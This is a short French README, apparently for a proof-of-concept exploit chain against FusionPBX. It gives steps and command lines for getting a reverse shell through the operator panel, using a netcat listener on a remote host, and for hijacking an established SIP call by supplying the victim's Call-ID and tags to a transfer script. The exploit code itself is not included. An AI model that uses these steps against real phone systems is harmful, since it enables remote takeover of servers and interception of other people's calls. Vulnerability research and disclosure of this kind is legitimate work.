Prélude

Ce simple code tente de compléter l'implémentation de la vulnérabilité en chaîne introduite par Dustin Cobb dans RCE via l'identifiant de l'appelant – Multiples vulnérabilités dans FusionPBX.

RCE

Étapes de reproduction

1. Visualisez l'écran d'opérateur vulnérable dans un navigateur web, situé dans cet exemple à https://{fusionpbx_address}/app/operator_panel/index.php
2. Démarrez un écouteur netcat sur un système distant (rce_listener_address).x`
3. Exécutez le code d'exploitation ci-dessous sur le système distant dans une autre fenêtre de terminal python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. L'exploit se connectera à l'écouteur netcat et fournira un reverse shell

Remplacer un appel

Alors que nous connaissons le Call-ID, from-tag et to-tag d'un appel, l'exécution du code ci-dessous vous remplacera à la place de la victime dans l'appel.

Étapes de reproduction

1. Initiez d'abord un appel entre deux SIP UA.
2. Une fois l'appel établi, nous devons construire dialog_identifier en concaténant {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag}.
3. Exécutez le code du détourneur ci-dessous sur le système distant et remplacez-vous par le numéro de la victime. python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}